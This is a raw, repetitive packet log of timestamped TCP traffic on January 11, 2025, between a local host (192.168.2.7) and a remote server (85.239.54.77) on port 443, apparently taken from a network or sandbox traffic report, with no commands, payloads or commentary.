Jan 11, 2025 09:26:35.445620060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445626020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445666075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445666075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445700884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445702076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445720911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445738077 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445780993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445796967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445826054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445856094 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445863962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445899963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445900917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445919037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445925951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445957899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.446003914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.468379021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.468421936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.468451023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.468467951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.468588114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.468605042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.468621969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.468633890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.468753099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.468763113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.468780994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.468806028 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.468966961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.468976974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.468990088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469003916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469017982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469088078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469108105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469127893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469146013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469155073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469213009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469221115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469274044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469294071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469319105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469320059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469336033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469350100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469399929 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469403028 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469413042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469430923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469480991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469480991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469492912 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469510078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469537973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469567060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469573975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469599962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469608068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469625950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469631910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469640017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469682932 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469727993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469748974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469777107 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469784021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469806910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469815016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469839096 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469840050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469854116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469866991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469914913 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469916105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469929934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469945908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469973087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.469980001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.469993114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470009089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470017910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470024109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470041037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470062017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470105886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470108986 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470118999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470144033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470160961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470170021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470186949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470191002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470213890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470215082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470227003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470253944 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470289946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470299006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470313072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470345020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470361948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470361948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470367908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470381021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470396996 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470402956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470438004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470447063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.470511913 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470511913 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.470609903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.488697052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.488725901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.488790989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.488821983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.488842964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.488869905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.552239895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.552263021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.552339077 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.552372932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.552398920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.552423954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.552791119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.552820921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.552870989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.552881956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.552917957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.552942991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.553457975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.553478003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.553520918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.553529024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.553564072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.553587914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.554452896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.554476023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.554524899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.554533958 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.554560900 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.554582119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.554976940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.554996014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.555041075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.555048943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.555090904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.555111885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.555850029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.555869102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.555924892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.555934906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.556524038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.556546926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.556590080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.556597948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.556623936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.556654930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.575427055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.575448990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.575531960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.575567007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.576011896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.605015039 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.638916016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.638938904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.638994932 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.639029980 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.639051914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.639446974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.639471054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.639498949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.639511108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.639543056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.639575005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.639969110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.640038013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.640075922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.640150070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.641009092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.641030073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.641098022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.641108990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.641169071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.641701937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.641721010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.641758919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.641767025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.641808033 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.642098904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.642121077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.642149925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.642157078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.642184973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.642205954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.642710924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.642729998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.642784119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.642795086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.642975092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.662286043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.662309885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.662398100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.662431955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.662527084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.722774029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.725846052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.725887060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.725950003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.725970984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.726027012 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.726464033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.726485014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.726541042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.726552010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.726588011 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.726610899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.727111101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.727129936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.727180958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.727194071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.727709055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.728060007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.728080034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.728159904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.728168964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.728249073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.728554010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.728573084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.728611946 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.728620052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.728663921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.728688955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.729304075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.729325056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.729382992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.729391098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.729428053 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.729449034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.729795933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.729815960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.729861021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.729867935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.729897976 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.729922056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.749043941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.749068975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.749155045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.749191046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.749265909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.753354073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.782824039 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.813298941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.813323975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.813378096 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.813395977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.813424110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.813462019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.813508034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.813976049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.813992023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.814049006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.814057112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.814587116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.814620018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.814661980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.814668894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.814688921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.815166950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.815181971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.815232992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.815243006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.815730095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.815757990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.815804005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.815812111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.815845013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.816279888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.816297054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.816337109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.816344976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.816374063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.819698095 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.835752964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.835783005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.835860968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.835875034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.860357046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.899434090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.899456978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.899539948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.899586916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.899782896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.900162935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.900180101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.900228977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.900239944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.900844097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.900866032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.900909901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.900919914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.900937080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.900973082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.901537895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.901555061 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.901603937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.901613951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.901632071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.901657104 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.902386904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.902401924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.902450085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.902458906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.902549982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.902956963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.902975082 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.903009892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.903018951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.903079987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.903099060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.903099060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.903544903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.903561115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.903606892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.903615952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.906620026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.907231092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.922549009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.922569036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.922624111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.922638893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.922684908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.986191988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.986210108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.986318111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.986357927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.986407995 CET	49941	443	192.168.2.7	85.239.54.77
